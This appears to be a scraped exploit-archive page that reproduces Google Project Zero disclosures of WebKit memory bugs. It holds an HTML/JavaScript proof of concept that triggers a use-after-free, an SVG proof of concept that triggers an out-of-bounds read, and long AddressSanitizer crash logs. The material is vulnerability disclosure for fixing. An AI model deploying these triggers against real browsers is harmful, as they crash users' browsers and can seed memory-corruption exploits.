    #17 0x10e96490a in WebCore::ApplyBlockElementCommand::formatSelection(WebCore::VisiblePosition const&, WebCore::VisiblePosition const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x11390a)
    #18 0x10e963a3e in WebCore::ApplyBlockElementCommand::doApply() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x112a3e)
    #19 0x10ec00e8d in WebCore::CompositeEditCommand::apply() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3afe8d)
    #20 0x10f1843e3 in WebCore::executeIndent(WebCore::Frame&, WebCore::Event*, WebCore::EditorCommandSource, WTF::String const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x9333e3)
    #21 0x10f181ab3 in WebCore::Editor::Command::execute(WTF::String const&, WebCore::Event*) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x930ab3)
    #22 0x10f00200a in WebCore::Document::execCommand(WTF::String const&, bool, WTF::String const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x7b100a)
    #23 0x10fbf7593 in WebCore::jsDocumentPrototypeFunctionExecCommandBody(JSC::ExecState*, WebCore::JSDocument*, JSC::ThrowScope&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x13a6593)
    #24 0x10fbdf068 in long long WebCore::IDLOperation<WebCore::JSDocument>::call<&(WebCore::jsDocumentPrototypeFunctionExecCommandBody(JSC::ExecState*, WebCore::JSDocument*, JSC::ThrowScope&)), (WebCore::CastedThisErrorBehavior)0>(JSC::ExecState&, char const*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x138e068)
    #25 0x5be2c2a01027  (<unknown module>)
    #26 0x11cd5fdd7 in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16aadd7)
    #27 0x11cd5fe49 in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16aae49)
    #28 0x11cd5fe49 in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16aae49)
    #29 0x11cd58f6f in vmEntryToJavaScript (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16a3f6f)

previously allocated by thread T0 here:
    #0 0x10cf96d2c in __sanitizer_mz_malloc (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.1.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x56d2c)
    #1 0x7fffa1ed8281 in malloc_zone_malloc (/usr/lib/system/libsystem_malloc.dylib:x86_64+0x2281)
    #2 0x11d427ad4 in bmalloc::DebugHeap::malloc(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d72ad4)
    #3 0x11d425d6d in bmalloc::Allocator::allocateSlowCase(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d70d6d)
    #4 0x11d3ac247 in bmalloc::Allocator::allocate(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1cf7247)
    #5 0x11d3ab63a in WTF::fastMalloc(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1cf663a)
    #6 0x10ea577b8 in WebCore::RenderObject::operator new(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2067b8)
    #7 0x11100cec5 in WebCore::RenderMultiColumnSpannerPlaceholder::createAnonymous(WebCore::RenderMultiColumnFlowThread*, WebCore::RenderBox&, WebCore::RenderStyle const*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27bbec5)
    #8 0x110ffac8e in WebCore::RenderMultiColumnFlowThread::processPossibleSpannerDescendant(WebCore::RenderObject*&, WebCore::RenderObject&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27a9c8e)
    #9 0x110ffb59e in WebCore::RenderMultiColumnFlowThread::flowThreadDescendantInserted(WebCore::RenderObject&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27aa59e)
    #10 0x110dc9aed in WebCore::RenderBlockFlow::insertedIntoTree() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2578aed)
    #11 0x110ea0ab6 in WebCore::RenderElement::insertChildInternal(WebCore::RenderObject*, WebCore::RenderObject*, WebCore::RenderElement::NotifyChildrenType) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x264fab6)
    #12 0x110ea06f6 in WebCore::RenderElement::addChild(WebCore::RenderObject*, WebCore::RenderObject*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x264f6f6)
    #13 0x111184c69 in WebCore::RenderTreeUpdater::createRenderer(WebCore::Element&, WebCore::RenderStyle&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2933c69)
    #14 0x111183dab in WebCore::RenderTreeUpdater::updateElementRenderer(WebCore::Element&, WebCore::Style::ElementUpdate const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2932dab)
    #15 0x1111835a8 in WebCore::RenderTreeUpdater::updateRenderTree(WebCore::ContainerNode&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x29325a8)
    #16 0x111182d7b in WebCore::RenderTreeUpdater::commit(std::__1::unique_ptr<WebCore::Style::Update const, std::__1::default_delete<WebCore::Style::Update const> >) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2931d7b)
    #17 0x10efe72f9 in WebCore::Document::resolveStyle(WebCore::Document::ResolveStyleType) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x7962f9)
    #18 0x10efe1ac5 in WebCore::Document::updateLayout() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x790ac5)
    #19 0x10efe8542 in WebCore::Document::updateLayoutIgnorePendingStylesheets(WebCore::Document::RunPostLayoutTasks) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x797542)
    #20 0x11192f01c in WebCore::VisiblePosition::canonicalPosition(WebCore::Position const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x30de01c)
    #21 0x11192edc7 in WebCore::VisiblePosition::init(WebCore::Position const&, WebCore::EAffinity) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x30dddc7)
    #22 0x10ec0e887 in WebCore::CompositeEditCommand::splitTreeToNode(WebCore::Node&, WebCore::Node&, bool) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3bd887)
    #23 0x10f811a53 in WebCore::IndentOutdentCommand::indentIntoBlockquote(WebCore::Position const&, WebCore::Position const&, WTF::RefPtr<WebCore::Element>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xfc0a53)
    #24 0x10e96490a in WebCore::ApplyBlockElementCommand::formatSelection(WebCore::VisiblePosition const&, WebCore::VisiblePosition const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x11390a)
    #25 0x10e963a3e in WebCore::ApplyBlockElementCommand::doApply() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x112a3e)
    #26 0x10ec00e8d in WebCore::CompositeEditCommand::apply() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3afe8d)
    #27 0x10f1843e3 in WebCore::executeIndent(WebCore::Frame&, WebCore::Event*, WebCore::EditorCommandSource, WTF::String const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x9333e3)
    #28 0x10f181ab3 in WebCore::Editor::Command::execute(WTF::String const&, WebCore::Event*) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x930ab3)
    #29 0x10f00200a in WebCore::Document::execCommand(WTF::String const&, bool, WTF::String const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x7b100a)

SUMMARY: AddressSanitizer: heap-use-after-free (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x53eaa) in WebCore::RenderObject::previousSibling() const
Shadow bytes around the buggy address:
  0x1c22000111f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1c2200011200: 00 00 00 00 00 00 00 00 00 00 00 00 fa fa fa fa
  0x1c2200011210: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
  0x1c2200011220: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c2200011230: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa
=>0x1c2200011240: fd fd fd[fd]fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c2200011250: fd fd fd fd fd fd fd fd fd fd fd fd fd fa fa fa
  0x1c2200011260: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
  0x1c2200011270: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c2200011280: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa
  0x1c2200011290: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==732==ABORTING
-->
HireHackking 
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1351

There is a use-after-free security vulnerability in WebKit. The vulnerability was confirmed on ASan build of WebKit nightly.

PoC:

=================================================================
-->

<script>
function eventhandler1() {
try { txt.appendChild(kg); } catch(e) { }
}

function eventhandler2() {
try { anim.appendChild(kg); } catch(e) { }
}

function eventhandler3() {
try { table.scrollIntoView(true); } catch(e) { }
}

</script>
<table id="table"></table>
<form>
<keygen id="kg" autofocus="autofocus">
</form>
<svg>
<animate id="anim" attributeName="text-anchor" from="middle" to="inherit" onbegin="eventhandler1()" />
<text id="txt" onload="eventhandler3()">
<font color="white"></font>
<select onfocus="eventhandler2()" autofocus="autofocus">
<textarea>a</textarea>
<iframe onload="eventhandler1()"></iframe>

<!--
=================================================================

ASan log:

=================================================================
==30588==ERROR: AddressSanitizer: heap-use-after-free on address 0x608000077ec8 at pc 0x00010dfdcb30 bp 0x7fff56cdb5a0 sp 0x7fff56cdb598
READ of size 8 at 0x608000077ec8 thread T0
==30588==WARNING: invalid path to external symbolizer!
==30588==WARNING: Failed to use and restart external symbolizer!
    #0 0x10dfdcb2f in WebCore::RenderStyle::NonInheritedFlags::getValue(unsigned long long, unsigned long long) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x46b2f)
    #1 0x110ce1def in WebCore::Style::TreeResolver::parentBoxStyle() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d4bdef)
    #2 0x110ce1acc in WebCore::Style::TreeResolver::styleForElement(WebCore::Element&, WebCore::RenderStyle const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d4bacc)
    #3 0x110ce1fc6 in WebCore::Style::TreeResolver::resolveElement(WebCore::Element&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d4bfc6)
    #4 0x110ce3f76 in WebCore::Style::TreeResolver::resolveComposedTree() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d4df76)
    #5 0x110ce4cc6 in WebCore::Style::TreeResolver::resolve() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d4ecc6)
    #6 0x10e72c196 in WebCore::Document::resolveStyle(WebCore::Document::ResolveStyleType) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x796196)
    #7 0x10eb31887 in WebCore::FrameView::updateLayoutAndStyleIfNeededRecursive() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb9b887)
    #8 0x1094e40e6 in WebKit::TiledCoreAnimationDrawingArea::flushLayers() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x5a90e6)
    #9 0x11005764e in WebCore::LayerFlushScheduler::layerFlushCallback() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x20c164e)
    #10 0x7fffd52aed36 in __CFRUNLOOP_IS_CALLING_OUT_TO_AN_OBSERVER_CALLBACK_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0xa6d36)
    #11 0x7fffd52aeca6 in __CFRunLoopDoObservers (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0xa6ca6)
    #12 0x7fffd528f135 in CFRunLoopRunSpecific (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x87135)
    #13 0x7fffd47efebb in RunCurrentEventLoopInMode (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30ebb)
    #14 0x7fffd47efcf0 in ReceiveNextEventCommon (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30cf0)
    #15 0x7fffd47efb25 in _BlockUntilNextEventMatchingListInModeWithFilter (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30b25)
    #16 0x7fffd2d88a53 in _DPSNextEvent (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x46a53)
    #17 0x7fffd35047ed in -[NSApplication(NSEvent) _nextEventMatchingEventMask:untilDate:inMode:dequeue:] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x7c27ed)
    #18 0x7fffd2d7d3da in -[NSApplication run] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x3b3da)
    #19 0x7fffd2d47e0d in NSApplicationMain (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x5e0d)
    #20 0x7fffeac688c6 in _xpc_objc_main (/usr/lib/system/libxpc.dylib:x86_64+0x108c6)
    #21 0x7fffeac672e3 in xpc_main (/usr/lib/system/libxpc.dylib:x86_64+0xf2e3)
    #22 0x108f2156c in main (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent.Development:x86_64+0x10000156c)
    #23 0x7fffeaa0f234 in start (/usr/lib/system/libdyld.dylib:x86_64+0x5234)

0x608000077ec8 is located 40 bytes inside of 88-byte region [0x608000077ea0,0x608000077ef8)
freed by thread T0 here:
    #0 0x10c6dc294 in __sanitizer_mz_free (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.1.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x57294)
    #1 0x11cb6c650 in bmalloc::Deallocator::deallocateSlowCase(void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d72650)
    #2 0x110ce4081 in WebCore::Style::TreeResolver::resolveComposedTree() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d4e081)
    #3 0x110ce4cc6 in WebCore::Style::TreeResolver::resolve() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d4ecc6)
    #4 0x10e72c196 in WebCore::Document::resolveStyle(WebCore::Document::ResolveStyleType) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x796196)
    #5 0x10eb31887 in WebCore::FrameView::updateLayoutAndStyleIfNeededRecursive() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb9b887)
    #6 0x1094e40e6 in WebKit::TiledCoreAnimationDrawingArea::flushLayers() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x5a90e6)
    #7 0x11005764e in WebCore::LayerFlushScheduler::layerFlushCallback() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x20c164e)
    #8 0x7fffd52aed36 in __CFRUNLOOP_IS_CALLING_OUT_TO_AN_OBSERVER_CALLBACK_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0xa6d36)
    #9 0x7fffd52aeca6 in __CFRunLoopDoObservers (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0xa6ca6)
    #10 0x7fffd528f135 in CFRunLoopRunSpecific (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x87135)
    #11 0x7fffd47efebb in RunCurrentEventLoopInMode (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30ebb)
    #12 0x7fffd47efcf0 in ReceiveNextEventCommon (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30cf0)
    #13 0x7fffd47efb25 in _BlockUntilNextEventMatchingListInModeWithFilter (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30b25)
    #14 0x7fffd2d88a53 in _DPSNextEvent (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x46a53)
    #15 0x7fffd35047ed in -[NSApplication(NSEvent) _nextEventMatchingEventMask:untilDate:inMode:dequeue:] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x7c27ed)
    #16 0x7fffd2d7d3da in -[NSApplication run] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x3b3da)
    #17 0x7fffd2d47e0d in NSApplicationMain (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x5e0d)
    #18 0x7fffeac688c6 in _xpc_objc_main (/usr/lib/system/libxpc.dylib:x86_64+0x108c6)
    #19 0x7fffeac672e3 in xpc_main (/usr/lib/system/libxpc.dylib:x86_64+0xf2e3)
    #20 0x108f2156c in main (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent.Development:x86_64+0x10000156c)
    #21 0x7fffeaa0f234 in start (/usr/lib/system/libdyld.dylib:x86_64+0x5234)

previously allocated by thread T0 here:
    #0 0x10c6dbd2c in __sanitizer_mz_malloc (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.1.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x56d2c)
    #1 0x7fffeab91281 in malloc_zone_malloc (/usr/lib/system/libsystem_malloc.dylib:x86_64+0x2281)
    #2 0x11cb6cad4 in bmalloc::DebugHeap::malloc(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d72ad4)
    #3 0x11cb6ad6d in bmalloc::Allocator::allocateSlowCase(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d70d6d)
    #4 0x11caf1247 in bmalloc::Allocator::allocate(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1cf7247)
    #5 0x11caf063a in WTF::fastMalloc(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1cf663a)
    #6 0x1107568e8 in WebCore::RenderStyle::operator new(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27c08e8)
    #7 0x1107943b9 in WebCore::RenderStyle::clonePtr(WebCore::RenderStyle const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27fe3b9)
    #8 0x110794388 in WebCore::RenderStyle::createPtr() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27fe388)
    #9 0x110ca204d in WebCore::StyleResolver::styleForElement(WebCore::Element const&, WebCore::RenderStyle const*, WebCore::RenderStyle const*, WebCore::RuleMatchingBehavior, WebCore::RenderRegion const*, WebCore::SelectorFilter const*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d0c04d)
    #10 0x110ce1afb in WebCore::Style::TreeResolver::styleForElement(WebCore::Element&, WebCore::RenderStyle const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d4bafb)
    #11 0x110ce1fc6 in WebCore::Style::TreeResolver::resolveElement(WebCore::Element&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d4bfc6)
    #12 0x110ce3f76 in WebCore::Style::TreeResolver::resolveComposedTree() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d4df76)
    #13 0x110ce4cc6 in WebCore::Style::TreeResolver::resolve() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d4ecc6)
    #14 0x10e72c196 in WebCore::Document::resolveStyle(WebCore::Document::ResolveStyleType) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x796196)
    #15 0x10eb31887 in WebCore::FrameView::updateLayoutAndStyleIfNeededRecursive() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb9b887)
    #16 0x1094e40e6 in WebKit::TiledCoreAnimationDrawingArea::flushLayers() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x5a90e6)
    #17 0x11005764e in WebCore::LayerFlushScheduler::layerFlushCallback() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x20c164e)
    #18 0x7fffd52aed36 in __CFRUNLOOP_IS_CALLING_OUT_TO_AN_OBSERVER_CALLBACK_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0xa6d36)
    #19 0x7fffd52aeca6 in __CFRunLoopDoObservers (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0xa6ca6)
    #20 0x7fffd528f135 in CFRunLoopRunSpecific (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x87135)
    #21 0x7fffd47efebb in RunCurrentEventLoopInMode (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30ebb)
    #22 0x7fffd47efcf0 in ReceiveNextEventCommon (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30cf0)
    #23 0x7fffd47efb25 in _BlockUntilNextEventMatchingListInModeWithFilter (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30b25)
    #24 0x7fffd2d88a53 in _DPSNextEvent (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x46a53)
    #25 0x7fffd35047ed in -[NSApplication(NSEvent) _nextEventMatchingEventMask:untilDate:inMode:dequeue:] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x7c27ed)
    #26 0x7fffd2d7d3da in -[NSApplication run] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x3b3da)
    #27 0x7fffd2d47e0d in NSApplicationMain (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x5e0d)
    #28 0x7fffeac688c6 in _xpc_objc_main (/usr/lib/system/libxpc.dylib:x86_64+0x108c6)
    #29 0x7fffeac672e3 in xpc_main (/usr/lib/system/libxpc.dylib:x86_64+0xf2e3)

SUMMARY: AddressSanitizer: heap-use-after-free (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x46b2f) in WebCore::RenderStyle::NonInheritedFlags::getValue(unsigned long long, unsigned long long) const
Shadow bytes around the buggy address:
  0x1c100000ef80: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c100000ef90: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c100000efa0: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00
  0x1c100000efb0: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c100000efc0: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fa
=>0x1c100000efd0: fa fa fa fa fd fd fd fd fd[fd]fd fd fd fd fd fa
  0x1c100000efe0: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 fa
  0x1c100000eff0: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 fa
  0x1c100000f000: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 fa
  0x1c100000f010: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 fa
  0x1c100000f020: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==30588==ABORTING
-->
HireHackking 
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1350

There is an out-of-bounds read security vulnerability in WebKit. The vulnerability was confirmed on ASan build of WebKit nightly.

PoC:

=================================================================
*/

<svg stroke="url(#pattern)">
<pattern id="pattern" xlink:href="#filter">
</pattern>
<line x1="0" y1="0" x2="1" y2="1" />
<filter id="filter" height="0" />

/*
=================================================================

ASan log:

=================================================================
==30453==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61200007e474 at pc 0x0001130a7153 bp 0x7fff5463b410 sp 0x7fff5463b408
READ of size 8 at 0x61200007e474 thread T0
==30453==WARNING: invalid path to external symbolizer!
==30453==WARNING: Failed to use and restart external symbolizer!
    #0 0x1130a7152 in WebCore::SVGPatternElement::collectPatternAttributes(WebCore::PatternAttributes&) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2e99152)
    #1 0x112a5145a in WebCore::RenderSVGResourcePattern::collectPatternAttributes(WebCore::PatternAttributes&) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x284345a)
